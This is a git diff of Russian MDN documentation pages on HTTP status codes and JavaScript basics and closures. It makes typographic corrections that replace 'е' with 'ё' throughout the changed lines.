      diff --git a/files/ru/web/http/status/407/index.html b/files/ru/web/http/status/407/index.html index 4f66630555..ddbd433687 100644 --- a/files/ru/web/http/status/407/index.html +++ b/files/ru/web/http/status/407/index.html @@ -6,7 +6,7 @@ translation_of: Web/HTTP/Status/407

      {{HTTPSidebar}}

      -

      HTTP 407 Proxy Authentication Required код ответа на ошибку клиента указывает, что запрос не был применен, поскольку он не имеет достоверных учетных данных для {{Glossary("proxy server")}}, который находится между браузером и сервером, который может получить доступ к запрашиваемому ресурсу..

      +

      HTTP 407 Proxy Authentication Required код ответа на ошибку клиента указывает, что запрос не был применён, поскольку он не имеет достоверных учётных данных для {{Glossary("proxy server")}}, который находится между браузером и сервером, который может получить доступ к запрашиваемому ресурсу..

      Этот статус отправляется с {{HTTPHeader("Proxy-Authenticate")}}, который содержит информацию о том, как правильно разрешить авторизацию.

      diff --git a/files/ru/web/http/status/408/index.html b/files/ru/web/http/status/408/index.html index 9f0f0de305..d7950cd91c 100644 --- a/files/ru/web/http/status/408/index.html +++ b/files/ru/web/http/status/408/index.html @@ -9,7 +9,7 @@ translation_of: Web/HTTP/Status/408

      Сервер должен отправить заголовок {{HTTPHeader("Connection")}} со значением «close» в ответ, поскольку 408 подразумевает, что сервер решил закрыть соединение, а не продолжать ждать.

      -

      Этот ответ используется гораздо больше, поскольку некоторые браузеры, такие как Chrome, Firefox 27+ или IE9, используют механизмы предварительного подключения HTTP для ускорения серфинга. Также обратите внимание, что некоторые серверы просто закрывают соединение без отправки этого сообщения.

      +

      Этот ответ используется гораздо больше, поскольку некоторые браузеры, такие как Chrome, Firefox 27+ или IE9, используют механизмы предварительного подключения HTTP для ускорения сёрфинга. Также обратите внимание, что некоторые серверы просто закрывают соединение без отправки этого сообщения.

      Статус

      diff --git a/files/ru/web/http/status/411/index.html b/files/ru/web/http/status/411/index.html index 9c7899a650..f3986bf132 100644 --- a/files/ru/web/http/status/411/index.html +++ b/files/ru/web/http/status/411/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTTP/Status/411 ---
      {{HTTPSidebar}}
      -

      Код ответа на ошибку 411 Length Required указывает, что сервер отказывается принять запрос без определенного  {{HTTPHeader("Content-Length")}}. 

      +

      Код ответа на ошибку 411 Length Required указывает, что сервер отказывается принять запрос без определённого  {{HTTPHeader("Content-Length")}}. 

      Обратите внимание, что по спецификации при отправке данных в ряд фрагментов Content-Length опущен, и в начале каждого фрагмента вам нужно добавить длину текущего фрагмента в шестнадцатеричном формате. Подробнее смотрите {{HTTPHeader("Transfer-Encoding")}}.

      diff --git a/files/ru/web/http/status/412/index.html b/files/ru/web/http/status/412/index.html index a3b7883952..8aa82d8d03 100644 --- a/files/ru/web/http/status/412/index.html +++ b/files/ru/web/http/status/412/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTTP/Status/412 ---
      {{HTTPSidebar}}
      -

      The HTTP 412 Precondition Failed клиентский код ответа на ошибку указывает, что доступ к целевому ресурсу был отклонен. Это происходит с условными запросами на методы, отличные от  {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}}, когда условие определено {{HTTPHeader("If-Unmodified-Since")}} или {HTTPHeader("If-None-Match")}} не выполняется. В этом случае запрос, обычно загрузка или изменение ресурса, не может быть выполнен, и этот ответ об ошибке отправляется обратно.

      +

      The HTTP 412 Precondition Failed клиентский код ответа на ошибку указывает, что доступ к целевому ресурсу был отклонён. Это происходит с условными запросами на методы, отличные от  {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}}, когда условие определено {{HTTPHeader("If-Unmodified-Since")}} или {HTTPHeader("If-None-Match")}} не выполняется. В этом случае запрос, обычно загрузка или изменение ресурса, не может быть выполнен, и этот ответ об ошибке отправляется обратно.

      Статус

      diff --git a/files/ru/web/http/status/413/index.html b/files/ru/web/http/status/413/index.html index e0383192a9..a74302c9cd 100644 --- a/files/ru/web/http/status/413/index.html +++ b/files/ru/web/http/status/413/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTTP/Status/413 ---
      {{HTTPSidebar}}
      -

      Код HTTP 413 Payload Too Large , указывает, что объект запроса больше, чем ограничения, определенные сервером; сервер может закрыть соединение или вернуть поле {{HTTPHeader("Retry-After")}}.

      +

      Код HTTP 413 Payload Too Large , указывает, что объект запроса больше, чем ограничения, определённые сервером; сервер может закрыть соединение или вернуть поле {{HTTPHeader("Retry-After")}}.

      Статус

      diff --git a/files/ru/web/http/status/416/index.html b/files/ru/web/http/status/416/index.html index d7035dfb3f..ae3c93df73 100644 --- a/files/ru/web/http/status/416/index.html +++ b/files/ru/web/http/status/416/index.html @@ -11,7 +11,7 @@ translation_of: Web/HTTP/Status/416

      Код ошибки HTTP 416 Range Not Satisfiable указывает, что сервер не может обслуживать запрошенные диапазоны. Наиболее вероятная причина заключается в том, что документ не содержит таких диапазонов или что значение {{HTTPHeader ("Range")}}, хотя и синтаксически корректно, не имеет смысла.

      -

      Сообщение ответа 416 содержит {{HTTPHeader("Content-Range")}}, указывающий на неудовлетворенный диапазон (это '*'), за которым следуют '/' и текущий ресурс. Например: Content-Range: */12777

      +

      Сообщение ответа 416 содержит {{HTTPHeader("Content-Range")}}, указывающий на неудовлетворённый диапазон (это '*'), за которым следуют '/' и текущий ресурс. Например: Content-Range: */12777

      Столкнувшись с этой ошибкой, браузеры обычно либо прерывают операцию (например, загрузка будет считаться не возобновляемой), либо снова запрашиваются ведь документ.

      diff --git a/files/ru/web/http/status/425/index.html b/files/ru/web/http/status/425/index.html index 179d9cb1e2..10f524c77e 100644 --- a/files/ru/web/http/status/425/index.html +++ b/files/ru/web/http/status/425/index.html @@ -10,7 +10,7 @@ translation_of: Web/HTTP/Status/425 ---
      {{SeeCompatTable}}{{HTTPSidebar}}
      -

      Код ответа протокола передачи гипертекста (HTTP) 425 Too Early означает, что сервер не хочет рисковать обрабатывать запрос, который может быть воспроизведенным, поскольку это открывает возможность для атаки повторного воспроизведения.

      +

      Код ответа протокола передачи гипертекста (HTTP) 425 Too Early означает, что сервер не хочет рисковать обрабатывать запрос, который может быть воспроизведённым, поскольку это открывает возможность для атаки повторного воспроизведения.

      Статус

      diff --git a/files/ru/web/http/status/429/index.html b/files/ru/web/http/status/429/index.html index bfec2e5cc5..ce6c8a0110 100644 --- a/files/ru/web/http/status/429/index.html +++ b/files/ru/web/http/status/429/index.html @@ -7,7 +7,7 @@ translation_of: Web/HTTP/Status/429

      HTTP 429 Too Many Requests код ответа указывает, что пользователь отправил слишком много запросов за последнее временя ("ограничение скорости" или "rate limiting" ).

      -

      В этот ответ может быть включен  {{HTTPHeader("Retry-After")}}, указывающий, как долго ждать нового запроса.

      +

      В этот ответ может быть включён  {{HTTPHeader("Retry-After")}}, указывающий, как долго ждать нового запроса.

      Статус

      diff --git a/files/ru/web/http/status/431/index.html b/files/ru/web/http/status/431/index.html index 691fb74671..02f4032c02 100644 --- a/files/ru/web/http/status/431/index.html +++ b/files/ru/web/http/status/431/index.html @@ -9,7 +9,7 @@ translation_of: Web/HTTP/Status/431

      Его можно использовать, если общее количество полей заголовка запроса слишком велико или когда одно поле заголовка слишком велико.

      -

      Эта ошибка не должна происходить в хорошо проверенных производственных системах, но ее можно найти чаще при тестировании новой системы.

      +

      Эта ошибка не должна происходить в хорошо проверенных производственных системах, но её можно найти чаще при тестировании новой системы.

      Статус

      diff --git a/files/ru/web/http/status/451/index.html b/files/ru/web/http/status/451/index.html index 426cde0317..5c5336f84d 100644 --- a/files/ru/web/http/status/451/index.html +++ b/files/ru/web/http/status/451/index.html @@ -13,7 +13,7 @@ translation_of: Web/HTTP/Status/451

      Пример

      -

      Этот пример ответа берется из IETF RFC (см. ниже) и содержит ссылку на {{interwiki("wikipedia", "Monty_Python's_Life_of_Brian", "Monty Python's Life of Brian")}}.

      +

      Этот пример ответа берётся из IETF RFC (см. ниже) и содержит ссылку на {{interwiki("wikipedia", "Monty_Python's_Life_of_Brian", "Monty Python's Life of Brian")}}.

      Обратите внимание, что {{HTTPHeader("Link")}}также может содержать отношение a rel="blocked-by", идентифицирующее объект, ответственный за недоступный ресурс, например имя человека или организации, которые предъявили законный запрос В результате чего удаление содержимого.

      diff --git a/files/ru/web/http/status/500/index.html b/files/ru/web/http/status/500/index.html index 0e64be8339..2e77fa5c00 100644 --- a/files/ru/web/http/status/500/index.html +++ b/files/ru/web/http/status/500/index.html @@ -34,7 +34,7 @@ translation_of: Web/HTTP/Status/500

      Совместимость с браузерами

      - +

      {{Compat("http.status.500")}}

      diff --git a/files/ru/web/http/status/511/index.html b/files/ru/web/http/status/511/index.html index de17af10eb..55cbc8cc62 100644 --- a/files/ru/web/http/status/511/index.html +++ b/files/ru/web/http/status/511/index.html @@ -7,9 +7,9 @@ translation_of: Web/HTTP/Status/511

      The HTTP 511 Network Authentication Required код состояния ответа указывает, что клиент должен пройти аутентификацию, чтобы получить доступ к сети.

      -

      Этот статус не генерируется серверами происхождения, а путем перехвата прокси-серверов, которые контролируют доступ к сети.

      +

      Этот статус не генерируется серверами происхождения, а путём перехвата прокси-серверов, которые контролируют доступ к сети.

      -

      Сетевые операторы иногда требуют некоторой аутентификации, принятия условий или другого взаимодействия с пользователем перед предоставлением доступа (например, в интернет-кафе или в аэропорту). Они часто идентифицируют клиентов, которые еще не сделали этого, используя свой адрес  Media Access Control ({{Glossary("MAC")}}).

      +

      Сетевые операторы иногда требуют некоторой аутентификации, принятия условий или другого взаимодействия с пользователем перед предоставлением доступа (например, в интернет-кафе или в аэропорту). Они часто идентифицируют клиентов, которые ещё не сделали этого, используя свой адрес  Media Access Control ({{Glossary("MAC")}}).

      Статус

      diff --git a/files/ru/web/http/status/index.html b/files/ru/web/http/status/index.html index 38b076f287..4b8b0ffd4b 100644 --- a/files/ru/web/http/status/index.html +++ b/files/ru/web/http/status/index.html @@ -57,7 +57,7 @@ translation_of: Web/HTTP/Status 102 Processing - "В обработке". Этот код указывает, что сервер получил запрос и обрабатывает его, но обработка еще не завершена. + "В обработке". Этот код указывает, что сервер получил запрос и обрабатывает его, но обработка ещё не завершена. Только HTTP/1.1 @@ -135,7 +135,7 @@ translation_of: Web/HTTP/Status 301 Moved Permanently -

      "Перемещён на постоянной основе". Этот код ответа значит, что URI запрашиваемого ресурса был изменен. Возможно, новый URI будет предоставлен в ответе.

      +

      "Перемещён на постоянной основе". Этот код ответа значит, что URI запрашиваемого ресурса был изменён. Возможно, новый URI будет предоставлен в ответе.

      HTTP/0.9 and later @@ -143,7 +143,7 @@ translation_of: Web/HTTP/Status 302 Found -

      "Найдено". Этот код ответа значит, что запрошенный ресурс временно изменен. Новые изменения в URI могут быть доступны в будущем. Таким образом, этот URI, должен быть использован клиентом в будущих запросах.

      +

      "Найдено". Этот код ответа значит, что запрошенный ресурс временно изменён. Новые изменения в URI могут быть доступны в будущем. Таким образом, этот URI, должен быть использован клиентом в будущих запросах.

      HTTP/0.9 and later @@ -156,7 +156,7 @@ translation_of: Web/HTTP/Status 304 Not Modified - "Не модифицировано". Используется для кэширования. Это код ответа значит, что запрошенный ресурс не был изменен. Таким образом, клиент может продолжать использовать кэшированную версию ответа. + "Не модифицировано". Используется для кэширования. Это код ответа значит, что запрошенный ресурс не был изменён. Таким образом, клиент может продолжать использовать кэшированную версию ответа. HTTP/0.9 and later @@ -205,7 +205,7 @@ translation_of: Web/HTTP/Status 402 Payment Required - "Необходима оплата". Этот код ответа зарезервирован для будущего использования. Первоначальная цель для создания этого когда была в использовании его для цифровых платежных систем(на данный момент не используется). + "Необходима оплата". Этот код ответа зарезервирован для будущего использования. Первоначальная цель для создания этого когда была в использовании его для цифровых платёжных систем(на данный момент не используется). HTTP/0.9 and 1.1 @@ -223,14 +223,14 @@ translation_of: Web/HTTP/Status 405 Method Not Allowed - "Метод не разрешен". Сервер знает о запрашиваемом методе, но он был деактивирован и не может быть использован. Два обязательных метода,  GET и HEAD,  никогда не должны быть деактивированы и не должны возвращать этот код ошибки. + "Метод не разрешён". Сервер знает о запрашиваемом методе, но он был деактивирован и не может быть использован. Два обязательных метода,  GET и HEAD,  никогда не должны быть деактивированы и не должны возвращать этот код ошибки. HTTP/1.1 only 406 Not Acceptable -

      Этот ответ отсылается, когда веб сервер после выполнения server-driven content negotiation, не нашел контента, отвечающего критериям, полученным из user agent.

      +

      Этот ответ отсылается, когда веб сервер после выполнения server-driven content negotiation, не нашёл контента, отвечающего критериям, полученным из user agent.

      HTTP/1.1 only @@ -243,7 +243,7 @@ translation_of: Web/HTTP/Status 408 Request Timeout - Ответ с таким кодом может прийти, даже без предшествующего запроса. Он означает, что сервер хотел бы отключить это неиспользуемое соединение. Этот метод используется все чаще с тех пор, как некоторые браузеры, вроде Chrome и IE9, стали использовать HTTP механизмы предварительного соединения для ускорения серфинга  (смотрите {{ bug(634278) }}, будущей реализации этого механизма в Firefox). Также учитывайте, что некоторые серверы прерывают соединения не отправляя подобных сообщений. + Ответ с таким кодом может прийти, даже без предшествующего запроса. Он означает, что сервер хотел бы отключить это неиспользуемое соединение. Этот метод используется все чаще с тех пор, как некоторые браузеры, вроде Chrome и IE9, стали использовать HTTP механизмы предварительного соединения для ускорения сёрфинга  (смотрите {{ bug(634278) }}, будущей реализации этого механизма в Firefox). Также учитывайте, что некоторые серверы прерывают соединения не отправляя подобных сообщений. HTTP/1.1 only @@ -258,7 +258,7 @@ translation_of: Web/HTTP/Status 410 Gone -

      Этот ответ отсылается, когда запрашиваемый контент удален с сервера.

      +

      Этот ответ отсылается, когда запрашиваемый контент удалён с сервера.

      HTTP/1.1 only @@ -266,7 +266,7 @@ translation_of: Web/HTTP/Status 411 Length Required -

      Запрос отклонен, потому что сервер требует указание заголовка Content-Length, но он не указан.

      +

      Запрос отклонён, потому что сервер требует указание заголовка Content-Length, но он не указан.

      HTTP/1.1 only @@ -293,7 +293,7 @@ translation_of: Web/HTTP/Status 415 Unsupported Media Type - Медиа формат запрашиваемых данных не поддерживается сервером, поэтому запрос отклонен + Медиа формат запрашиваемых данных не поддерживается сервером, поэтому запрос отклонён HTTP/1.1 only diff --git a/files/ru/web/javascript/a_re-introduction_to_javascript/index.html b/files/ru/web/javascript/a_re-introduction_to_javascript/index.html index 268fc9985d..01888a792b 100644 --- a/files/ru/web/javascript/a_re-introduction_to_javascript/index.html +++ b/files/ru/web/javascript/a_re-introduction_to_javascript/index.html @@ -9,7 +9,7 @@ translation_of: Web/JavaScript/A_re-introduction_to_JavaScript

      Было бы полезно начать с истории языка. JavaScript был создан в 1995 Бренданом Айком, инженером в компании Netscape. Первый релиз состоялся вместе с выходом браузера Netscape 2 в начале 1996 года. Сначала язык назывался LiveScript, но затем был переименован в связи с маркетинговыми целями, чтобы сыграть на популярности языка Java компании Sun Microsystem — несмотря на это языки практически не имеют ничего общего друг с другом. Так было положено начало путаницы между этими языками.

      -

      Чуть позже Microsoft выпустила очень похожий и практически совместимый язык JScript, который шёл вместе с IE3. Через пару месяцев Netscape отправил язык в Ecma International, Европейскую организацию занимающуюся стандартами, которая выпустила первую версию стандарта ECMAScript в 1997. Стандарт получил значимое обновление в ECMAScript edition 3 в 1999, и остается самым стабильным до сегодняшнего дня. Четвертая версия была отклонена, из-за проблем с усложнениями в языке. Многие вещи из четвертого издания послужили основой для стандарта ECMAScript 5 (декабрь 2009) и ECMAScript 6 (июнь 2015).

      +

      Чуть позже Microsoft выпустила очень похожий и практически совместимый язык JScript, который шёл вместе с IE3. Через пару месяцев Netscape отправил язык в Ecma International, Европейскую организацию занимающуюся стандартами, которая выпустила первую версию стандарта ECMAScript в 1997. Стандарт получил значимое обновление в ECMAScript edition 3 в 1999, и остаётся самым стабильным до сегодняшнего дня. Четвёртая версия была отклонена, из-за проблем с усложнениями в языке. Многие вещи из четвёртого издания послужили основой для стандарта ECMAScript 5 (декабрь 2009) и ECMAScript 6 (июнь 2015).

      На заметку: Далее по тексту мы будем называть язык ECMAScript как "JavaScript".

      @@ -21,7 +21,7 @@ translation_of: Web/JavaScript/A_re-introduction_to_JavaScript

      JavaScript является объектно-ориентированным языком, имеющий типы и операторы, встроенные объекты и методы. Его синтаксис происходит от языков Java и C, поэтому много конструкций из этих языков применимы и к JavaScript. Одним из ключевых отличий JavaScript является отсутствие классов, вместо этого функциональность классов осуществляется прототипами объектов (смотрите ES6 {{jsxref("Classes")}}) . Другое главное отличие в том, что функции это объекты, в которых содержится исполняемый код и которые могут быть переданы куда-либо, как и любой другой объект.

      -

      Начнём с основы любого языка: с типов данных. Программы на JavaScript оперируют значениями, и все эти значения принадлежат к определенному типу. Типы данных в JavaScript:

      +

      Начнём с основы любого языка: с типов данных. Программы на JavaScript оперируют значениями, и все эти значения принадлежат к определённому типу. Типы данных в JavaScript:

      • Числа
      • @@ -32,7 +32,7 @@ translation_of: Web/JavaScript/A_re-introduction_to_JavaScript
      • Символы (новый тип из шестой редакции)
      -

      Да, еще Undefined и Null, которые немного обособлены. И Массивы, которые являются особым видом объектов. А также Даты и Регулярные выражения, тоже являющиеся объектами. И, если быть технически точным, функции это тоже особый вид объекта. Поэтому схема типов выглядит скорее так:

      +

      Да, ещё Undefined и Null, которые немного обособлены. И Массивы, которые являются особым видом объектов. А также Даты и Регулярные выражения, тоже являющиеся объектами. И, если быть технически точным, функции это тоже особый вид объекта. Поэтому схема типов выглядит скорее так:

      • Числа
      • @@ -589,7 +589,7 @@ avg(2, 3, 4, 5); // 3.5

        В вышенаписанном коде переменная args содержит все значения, которые были переданы в функцию.

        - Важно отметить, что где бы ни был  размещен rest parameter operator в объявлении функции, он будет содержать все аргументы  после его объявления, не раньше. например: function avg(firstValue, ...args) будет хранить первое переданное значение в переменной firstValue и оставшиеся в args. Это еще одно полезное свойство языка, однако оно ведет нас к новой проблеме.  avg() функция принимает список аргументов, разделенный запятыми. Но что если вы хотите найти среднее значение в массиве? Вы можете переписать функцию следующим образом:

        + Важно отметить, что где бы ни был  размещён rest parameter operator в объявлении функции, он будет содержать все аргументы  после его объявления, не раньше. например: function avg(firstValue, ...args) будет хранить первое переданное значение в переменной firstValue и оставшиеся в args. Это ещё одно полезное свойство языка, однако оно ведёт нас к новой проблеме.  avg() функция принимает список аргументов, разделённый запятыми. Но что если вы хотите найти среднее значение в массиве? Вы можете переписать функцию следующим образом:

        function avgArray(arr) {
        diff --git a/files/ru/web/javascript/about_javascript/index.html b/files/ru/web/javascript/about_javascript/index.html
        index 12ec0deb4f..830f267719 100644
        --- a/files/ru/web/javascript/about_javascript/index.html
        +++ b/files/ru/web/javascript/about_javascript/index.html
        @@ -18,9 +18,9 @@ original_slug: Web/JavaScript/О_JavaScript
         
         

        JavaScript запускается на стороне клиента Интернета, который может использоваться для создания/программирования того, как веб-страницы будут вести себя при наступлении каких-либо событий. JavaScript легко изучить, а также это мощный скриптовый язык, широко используемый для контролирования поведения веб-страниц.

        -

        Вопреки распространенному мнению, JavaScript не является "интерпретируемым Java". В двух словах, JavaScript — это динамический скриптовый язык, поддерживающий прототипное создание объектов. Базовый синтаксис намеренно похож на Java и C++, чтобы уменьшить число новых концепций, необходимых для изучения языка. Такие языковые конструкции, как if, for, while, switch, try ... catch похожи на конструкции этих языков.

        +

        Вопреки распространённому мнению, JavaScript не является "интерпретируемым Java". В двух словах, JavaScript — это динамический скриптовый язык, поддерживающий прототипное создание объектов. Базовый синтаксис намеренно похож на Java и C++, чтобы уменьшить число новых концепций, необходимых для изучения языка. Такие языковые конструкции, как if, for, while, switch, try ... catch похожи на конструкции этих языков.

        -

        JavaScript может функционировать и как процедурный, и как объектно-ориентированный язык. Объекты можно создавать программно во время выполнения, путем присоединения методов и свойств или пустых объектов во время выполнения, в отличие от синтаксических определений классов в компилируемых языках, таких как С++ или Java. После того, как объект был создан, он может быть использован в качестве плана (или прототипа) для создания похожих объектов.

        +

        JavaScript может функционировать и как процедурный, и как объектно-ориентированный язык. Объекты можно создавать программно во время выполнения, путём присоединения методов и свойств или пустых объектов во время выполнения, в отличие от синтаксических определений классов в компилируемых языках, таких как С++ или Java. После того, как объект был создан, он может быть использован в качестве плана (или прототипа) для создания похожих объектов.

        Динамические возможности JavaScript включают: создание объектов во время выполнения, переменное число параметров, динамическое создание скриптов (с помощью eval), перебор объектов (с помощью for ... in), восстановление исходного кода (программы на JavaScript могут декомпилировать тела функций обратно в исходный код).

        @@ -32,7 +32,7 @@ original_slug: Web/JavaScript/О_JavaScript

        Несколько оптимизаций, таких как TraceMonkey (Firefox 3.5), JägerMonkey (Firefox 4) и IonMonkey, добавили в SpiderMonkey со временем. Работа всегда продолжается, чтобы улучшить производительность выполнения JavaScript.

        -

        Кроме вышеприведенных существуют и другие популярные реализации:

        +

        Кроме вышеприведённых существуют и другие популярные реализации:

        • V8 от Google, используемый в браузерах Google Chrome и последних версиях Opera. Также используется в Node.js.
        • @@ -41,7 +41,7 @@ original_slug: Web/JavaScript/О_JavaScript
        • Chakra используется в Internet Explorer (язык, который реализует данный движок, называется JScript, чтобы избежать проблем с авторскими правами).
        -

        Каждый движок mozilla.org предоставляет публичный API, который могут использовать разработчики приложений для интеграции JavaScript в своё ПО. Однако, наиболее распространенной средой для JavaScript являются веб-браузеры. Веб-браузеры обычно используют публичный API для создания объектов среды, отражающих DOM в JavaScript.

        +

        Каждый движок mozilla.org предоставляет публичный API, который могут использовать разработчики приложений для интеграции JavaScript в своё ПО. Однако, наиболее распространённой средой для JavaScript являются веб-браузеры. Веб-браузеры обычно используют публичный API для создания объектов среды, отражающих DOM в JavaScript.

        JavaScript также применяется как скриптовый язык на стороне сервера. JavaScript сервер предоставляет объекты среды, представляющие объекты HTTP запросов и ответов, которые могут быть использованы программой на JavaScript для динамической генерации веб-страниц. Популярным примером является Node.js.

        diff --git a/files/ru/web/javascript/closures/index.html b/files/ru/web/javascript/closures/index.html index 0aaebde058..dde1d17511 100644 --- a/files/ru/web/javascript/closures/index.html +++ b/files/ru/web/javascript/closures/index.html @@ -8,7 +8,7 @@ translation_of: Web/JavaScript/Closures ---

        {{jsSidebar("Intermediate")}}

        -

        Замыкание — это комбинация функции и лексического окружения, в котором эта функция была определена. Другими словами, замыкание дает вам доступ к Scope внешней функции из внутренней функции. В JavaScript замыкания создаются каждый раз при создании функции, во время ее создания.

        +

        Замыкание — это комбинация функции и лексического окружения, в котором эта функция была определена. Другими словами, замыкание даёт вам доступ к Scope внешней функции из внутренней функции. В JavaScript замыкания создаются каждый раз при создании функции, во время её создания.

        Лексическая область видимости

        @@ -51,7 +51,7 @@ myFunc();

        На первый взгляд, кажется неочевидным, что этот код правильный, но он работает. В некоторых языках программирования локальные переменные-функции существуют только во время выполнения этой функции. После завершения выполнения makeFunc() можно ожидать, что переменная name больше не будет доступна. Однако, поскольку код продолжает нормально работать, очевидно, что это не так в случае JavaScript.

        -

        Причина в том, что функции в JavaScript формируют так называемые замыкания. Замыкание — это комбинация функции и лексического окружения, в котором эта функция была объявлена. Это окружение состоит из произвольного количества локальных переменных, которые были в области действия функции во время создания замыкания. В рассмотренном примере myFunc — это ссылка на экземпляр функции displayName, созданной в результате выполнения makeFunc. Экземпляр функции displayName в свою очередь сохраняет ссылку на своё лексическое окружение, в котором есть переменная name.  По этой причине, когда происходит вызов функции myFunc, переменная name остаётся доступной для использования и сохраненный в ней текст "Mozilla" передаётся в alert.

        +

        Причина в том, что функции в JavaScript формируют так называемые замыкания. Замыкание — это комбинация функции и лексического окружения, в котором эта функция была объявлена. Это окружение состоит из произвольного количества локальных переменных, которые были в области действия функции во время создания замыкания. В рассмотренном примере myFunc — это ссылка на экземпляр функции displayName, созданной в результате выполнения makeFunc. Экземпляр функции displayName в свою очередь сохраняет ссылку на своё лексическое окружение, в котором есть переменная name.  По этой причине, когда происходит вызов функции myFunc, переменная name остаётся доступной для использования и сохранённый в ней текст "Mozilla" передаётся в alert.

        А вот немного более интересный пример — функция makeAdder:

        @@ -70,7 +70,7 @@ console.log(add10(2)); // 12

        Здесь мы определили функцию makeAdder(x), которая получает единственный аргумент x и возвращает новую функцию. Эта функция получает единственный аргумент y и возвращает сумму x и y.

        -

        По существу makeAdder — это фабрика функций: она создает функции, которые могут прибавлять определённое значение к своему аргументу. В примере выше мы используем нашу фабричную функцию для создания двух новых функций — одна прибавляет 5 к своему аргументу, вторая прибавляет 10.

        +

        По существу makeAdder — это фабрика функций: она создаёт функции, которые могут прибавлять определённое значение к своему аргументу. В примере выше мы используем нашу фабричную функцию для создания двух новых функций — одна прибавляет 5 к своему аргументу, вторая прибавляет 10.

        add5 и add10 — это примеры замыканий. Эти функции делят одно определение тела функции, но при этом они сохраняют различные окружения. В окружении функции add5 x — это 5, в то время как в окружении add10 x — это 10.

        @@ -80,7 +80,7 @@ console.log(add10(2)); // 12

        Следовательно, замыкания можно использовать везде, где вы обычно использовали объект с одним единственным методом.

        -

        Такие ситуации повсеместно встречаются в web-разработке. Большое количество front-end кода, который мы пишем на JavaScript, основано на обработке событий. Мы описываем какое-то поведение, а потом связываем его с событием, которое создается пользователем (например, клик мышкой или нажатие клавиши). При этом наш код обычно привязывается к событию в виде обратного/ответного вызова (callback): callback функция - функция выполняемая в ответ на возникновение события.

        +

        Такие ситуации повсеместно встречаются в web-разработке. Большое количество front-end кода, который мы пишем на JavaScript, основано на обработке событий. Мы описываем какое-то поведение, а потом связываем его с событием, которое создаётся пользователем (например, клик мышкой или нажатие клавиши). При этом наш код обычно привязывается к событию в виде обратного/ответного вызова (callback): callback функция - функция выполняемая в ответ на возникновение события.

        Давайте рассмотрим практический пример: допустим, мы хотим добавить на страницу несколько кнопок, которые будут менять размер текста. Как вариант, мы можем указать свойство font-size на элементе body в пикселах, а затем устанавливать размер прочих элементов страницы (таких, как заголовки) с использованием относительных единиц em:

        @@ -131,7 +131,7 @@ document.getElementById('size-16').onclick = size16;

        Языки вроде Java позволяют нам объявлять частные (private) методы . Это значит, что они могут быть вызваны только методами того же класса, в котором объявлены.

        -

        JavaScript не имеет встроенной возможности сделать такое, но это можно эмулировать с помощью замыкания. Частные методы полезны не только тем, что ограничивают доступ к коду, это также мощное средство глобальной организации пространства имен, позволяющее не засорять публичный интерфейс вашего кода внутренними методами классов.

        +

        JavaScript не имеет встроенной возможности сделать такое, но это можно эмулировать с помощью замыкания. Частные методы полезны не только тем, что ограничивают доступ к коду, это также мощное средство глобальной организации пространства имён, позволяющее не засорять публичный интерфейс вашего кода внутренними методами классов.

        Код ниже иллюстрирует, как можно использовать замыкания для определения публичных функций, которые имеют доступ к закрытым от пользователя (private) функциям и переменным. Такая манера программирования называется модульное программирование

        @@ -161,13 +161,13 @@ Counter.decrement(); alert(Counter.value()); /* Alerts 1 */
        -

        Тут много чего поменялось. В предыдущем примере каждое замыкание имело свой собственный контекст исполнения (окружение). Здесь мы создаем единое окружение для трех функций: Counter.increment, Counter.decrement, и Counter.value.

        +

        Тут много чего поменялось. В предыдущем примере каждое замыкание имело свой собственный контекст исполнения (окружение). Здесь мы создаём единое окружение для трёх функций: Counter.increment, Counter.decrement, и Counter.value.

        -

        Единое окружение создается в теле анонимной функции, которая исполняется в момент описания. Это окружение содержит два приватных элемента: переменную privateCounter и функцию changeBy(val). Ни один из этих элементов не доступен напрямую, за пределами этой самой анонимной функции. Вместо этого они могут и должны использоваться тремя публичными функциями, которые возвращаются анонимным блоком кода (anonymous wrapper), выполняемым в той же анонимной функции.

        +

        Единое окружение создаётся в теле анонимной функции, которая исполняется в момент описания. Это окружение содержит два приватных элемента: переменную privateCounter и функцию changeBy(val). Ни один из этих элементов не доступен напрямую, за пределами этой самой анонимной функции. Вместо этого они могут и должны использоваться тремя публичными функциями, которые возвращаются анонимным блоком кода (anonymous wrapper), выполняемым в той же анонимной функции.

        Эти три публичные функции являются замыканиями, использующими общий контекст исполнения (окружение). Благодаря механизму lexical scoping в Javascript, все они имеют доступ к переменной privateCounter и функции changeBy.

        -

        Заметьте, мы описываем анонимную функцию, создающую счётчик, и тут же запускаем ее, присваивая результат исполнения переменной Counter. Но мы также можем не запускать эту функцию сразу, а сохранить её в отдельной переменной, чтобы использовать для дальнейшего создания нескольких счётчиков вот так:

        +

        Заметьте, мы описываем анонимную функцию, создающую счётчик, и тут же запускаем её, присваивая результат исполнения переменной Counter. Но мы также можем не запускать эту функцию сразу, а сохранить её в отдельной переменной, чтобы использовать для дальнейшего создания нескольких счётчиков вот так:

        var makeCounter = function() {
           var privateCounter = 0;
        @@ -198,7 +198,7 @@ alert(Counter1.value()); /* Alerts 1 */
         alert(Counter2.value()); /* Alerts 0 */
         
        -

        Заметьте, что счетчики работают независимо друг от друга. Это происходит потому, что у каждого из них в момент создания функцией makeCounter() также создавался свой отдельный контекст исполнения (окружение). То есть приватная переменная privateCounter в каждом из счетчиков это действительно отдельная, самостоятельная переменная.

        +

        Заметьте, что счётчики работают независимо друг от друга. Это происходит потому, что у каждого из них в момент создания функцией makeCounter() также создавался свой отдельный контекст исполнения (окружение). То есть приватная переменная privateCounter в каждом из счётчиков это действительно отдельная, самостоятельная переменная.

        Используя замыкания подобным образом, вы получаете ряд преимуществ, обычно ассоциируемых с объектно-ориентированным программированием, таких как изоляция и инкапсуляция.

        @@ -236,11 +236,11 @@ setupHelp();

        {{JSFiddleEmbed("https://jsfiddle.net/v7gjv/13026/", "", 200)}}

        -

        Массив helpText описывает три подсказки для трех полей ввода. Цикл пробегает эти описания по очереди и для каждого из полей ввода определяет, что при возникновении события onfocus для этого элемента должна вызываться функция, показывающая соответствующую подсказку.

        +

        Массив helpText описывает три подсказки для трёх полей ввода. Цикл пробегает эти описания по очереди и для каждого из полей ввода определяет, что при возникновении события onfocus для этого элемента должна вызываться функция, показывающая соответствующую подсказку.

